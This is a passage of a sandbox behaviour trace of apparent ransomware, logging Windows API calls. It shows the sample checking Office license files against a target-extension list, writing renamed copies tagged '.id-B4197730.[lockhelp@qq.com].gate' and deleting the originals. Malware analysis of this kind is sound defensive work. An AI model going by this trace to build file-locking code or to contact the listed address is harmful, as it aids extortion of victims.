Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0315.119] lstrlenW (lpString=".zip") returned 4 [0315.119] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.119] lstrlenW (lpString=".rar") returned 4 [0315.119] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.119] lstrlenW (lpString=".bz2") returned 4 [0315.119] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.119] lstrlenW (lpString=".7z") returned 3 [0315.119] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0315.119] lstrlenW (lpString=".dbf") returned 4 [0315.119] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0315.119] lstrlenW (lpString=".1cd") returned 4 [0315.119] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0315.119] lstrlenW (lpString=".jpg") returned 4 [0315.119] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.120] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4392) returned 1 [0315.120] CloseHandle (hObject=0x4b8) returned 1 [0315.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220 [0315.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0315.121] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.121] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0315.121] GetLastError () returned 0x0 [0315.121] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1128, lpOverlapped=0x0) returned 1 [0315.487] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1130, lpOverlapped=0x0) returned 1 [0315.488] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.488] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x10e, lpOverlapped=0x0) returned 1 [0315.488] SetEndOfFile (hFile=0x494) returned 1 [0315.488] CloseHandle (hObject=0x494) returned 1 [0315.488] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.489] SetEndOfFile (hFile=0x4b8) returned 1 [0315.491] CloseHandle (hObject=0x4b8) returned 1 [0315.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1 [0315.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0315.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0315.492] lstrlenW (lpString=".doc") returned 4 [0315.492] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.492] lstrlenW (lpString=".docx") returned 5 [0315.492] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.492] lstrlenW (lpString=".pdf") returned 4 [0315.492] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.492] lstrlenW (lpString=".xls") returned 4 [0315.492] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.492] lstrlenW (lpString=".xlsx") returned 5 [0315.492] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.492] lstrlenW (lpString=".ppt") returned 4 [0315.492] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0315.492] lstrlenW (lpString=".zip") returned 4 [0315.492] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.492] lstrlenW (lpString=".rar") returned 4 [0315.492] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.492] lstrlenW (lpString=".bz2") returned 4 [0315.492] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.492] lstrlenW (lpString=".7z") returned 3 [0315.492] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0315.492] lstrlenW (lpString=".dbf") returned 4 [0315.492] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0315.492] lstrlenW (lpString=".1cd") returned 4 [0315.492] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0315.492] lstrlenW (lpString=".jpg") returned 4 [0315.493] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.493] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=11582) returned 1 [0315.493] CloseHandle (hObject=0x4b8) returned 1 [0315.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0315.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0315.494] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.494] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0315.494] GetLastError () returned 0x0 [0315.494] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x2d3e, lpOverlapped=0x0) returned 1 [0315.544] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2d40, lpOverlapped=0x0) returned 1 [0315.545] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.545] WriteFile (in: hFile=0x494, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x10e, lpOverlapped=0x0) returned 1 [0315.545] SetEndOfFile (hFile=0x494) returned 1 [0315.545] CloseHandle (hObject=0x494) returned 1 [0315.545] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.545] SetEndOfFile (hFile=0x4b8) returned 1 [0315.559] CloseHandle (hObject=0x4b8) returned 1 [0315.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1 [0315.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0315.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0315.567] lstrlenW (lpString=".doc") returned 4 [0315.567] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.567] lstrlenW (lpString=".docx") returned 5 [0315.567] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.567] lstrlenW (lpString=".pdf") returned 4 [0315.567] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.567] lstrlenW (lpString=".xls") returned 4 [0315.567] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.567] lstrlenW (lpString=".xlsx") returned 5 [0315.567] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.567] lstrlenW (lpString=".ppt") returned 4 [0315.567] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0315.567] lstrlenW (lpString=".zip") returned 4 [0315.567] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.567] lstrlenW (lpString=".rar") returned 4 [0315.567] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.567] lstrlenW (lpString=".bz2") returned 4 [0315.567] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.567] lstrlenW (lpString=".7z") returned 3 [0315.567] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0315.567] lstrlenW (lpString=".dbf") returned 4 [0315.567] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0315.567] lstrlenW (lpString=".1cd") returned 4 [0315.567] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0315.567] lstrlenW (lpString=".jpg") returned 4 [0315.568] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.617] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10627) returned 1 [0315.617] CloseHandle (hObject=0x528) returned 1 [0315.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220 [0315.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0315.618] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.618] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0315.618] GetLastError () returned 0x0 [0315.618] ReadFile (in: hFile=0x528, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x2983, lpOverlapped=0x0) returned 1 [0315.725] WriteFile (in: hFile=0x468, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2990, lpOverlapped=0x0) returned 1 [0315.726] ReadFile (in: hFile=0x528, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.726] WriteFile (in: hFile=0x468, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x102, lpOverlapped=0x0) returned 1 [0315.726] SetEndOfFile (hFile=0x468) returned 1 [0315.726] CloseHandle (hObject=0x468) returned 1 [0315.726] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.726] SetEndOfFile (hFile=0x528) returned 1 [0315.728] CloseHandle (hObject=0x528) returned 1 [0315.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1 [0315.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0315.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0315.730] lstrlenW (lpString=".doc") returned 4 [0315.730] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.730] lstrlenW (lpString=".docx") returned 5 [0315.730] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.730] lstrlenW (lpString=".pdf") returned 4 [0315.730] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.731] lstrlenW (lpString=".xls") returned 4 [0315.731] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.731] lstrlenW (lpString=".xlsx") returned 5 [0315.731] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.731] lstrlenW (lpString=".ppt") returned 4 [0315.731] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0315.731] lstrlenW (lpString=".zip") returned 4 [0315.731] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.731] lstrlenW (lpString=".rar") returned 4 [0315.731] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.731] lstrlenW (lpString=".bz2") returned 4 [0315.731] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.731] lstrlenW (lpString=".7z") returned 3 [0315.731] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0315.731] lstrlenW (lpString=".dbf") returned 4 [0315.731] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0315.731] lstrlenW (lpString=".1cd") returned 4 [0315.731] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0315.731] lstrlenW (lpString=".jpg") returned 4 [0315.731] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.731] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=6860) returned 1 [0315.732] CloseHandle (hObject=0x528) returned 1 [0315.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220 [0315.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0315.732] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.732] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0315.733] GetLastError () returned 0x0 [0315.733] ReadFile (in: hFile=0x528, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x1acc, lpOverlapped=0x0) returned 1 [0315.824] WriteFile (in: hFile=0x468, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0315.824] ReadFile (in: hFile=0x528, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.824] WriteFile (in: hFile=0x468, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x10e, lpOverlapped=0x0) returned 1 [0315.825] SetEndOfFile (hFile=0x468) returned 1 [0315.825] CloseHandle (hObject=0x468) returned 1 [0315.825] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.825] SetEndOfFile (hFile=0x528) returned 1 [0315.827] CloseHandle (hObject=0x528) returned 1 [0315.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1 [0315.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0315.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0315.828] lstrlenW (lpString=".doc") returned 4 [0315.828] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.828] lstrlenW (lpString=".docx") returned 5 [0315.828] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.828] lstrlenW (lpString=".pdf") returned 4 [0315.828] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.828] lstrlenW (lpString=".xls") returned 4 [0315.828] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.828] lstrlenW (lpString=".xlsx") returned 5 [0315.828] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.828] lstrlenW (lpString=".ppt") returned 4 [0315.828] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0315.828] lstrlenW (lpString=".zip") returned 4 [0315.829] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.829] lstrlenW (lpString=".rar") returned 4 [0315.829] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.829] lstrlenW (lpString=".bz2") returned 4 [0315.829] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.829] lstrlenW (lpString=".7z") returned 3 [0315.829] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0315.829] lstrlenW (lpString=".dbf") returned 4 [0315.829] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0315.829] lstrlenW (lpString=".1cd") returned 4 [0315.829] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0315.829] lstrlenW (lpString=".jpg") returned 4 [0315.829] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.829] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=11609) returned 1 [0315.830] CloseHandle (hObject=0x528) returned 1 [0315.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0315.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft 